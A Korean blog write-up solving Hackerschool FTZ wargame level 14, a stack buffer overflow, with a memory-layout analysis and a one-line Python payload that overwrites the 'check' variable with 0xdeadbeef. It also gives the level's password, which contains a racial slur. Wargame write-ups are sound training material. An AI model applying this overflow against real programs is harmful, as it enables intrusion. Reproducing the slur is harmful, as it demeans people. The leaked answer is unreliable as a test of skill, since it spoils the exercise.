딩굴댕굴

[Hackerschool FTZ] level 14 - 루틴분기

by jennysgap

BOX


[Hackerschool FTZ] level 14 - 루틴분기


Password: what that nigga want?



메모리 할당 크기는 56byte (buf에서 dummy까지)

[ buf 20 ] [ check 4 ] [ crap 4 ] [ dummy 28 ] [ SFP 4 ] [ RET 4 ]

여기서 문제점은 dummy의 정확한 위치를 모른다는 점이다.

※ if문을 통과하기 위해서는 check 값의 위치를 정확하게 알아내는 것이 중요하다.



dummy 의 위치가 어딘지 정확하게 찾는게 어려움....


주소를 확인하기 위해 코드를 추가해보면 dummy의 위치를 알 수 있다.

printf("input is : %s\n buf : %p\n check : %p\n crap : %p\n", buf, buf, &check, &crap);



7d8 [check] - 7b0 [buf] = 28(Hex)  →  40(DEC)byte

7dc [crap] - 7d8 [check] = 4byte

[ buf ] <-- 40byte -->  [ check ]  <-- 4byte -->  [ crap ]

[ buf 20 [ dummy 20 ] [ check 4 ] [ crap 4 ] [ dummy 8 ] [ SFP 4 ] [ RET 4 ]


# (python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme







반응형

블로그의 정보

jennysgap

jennysgap

활동하기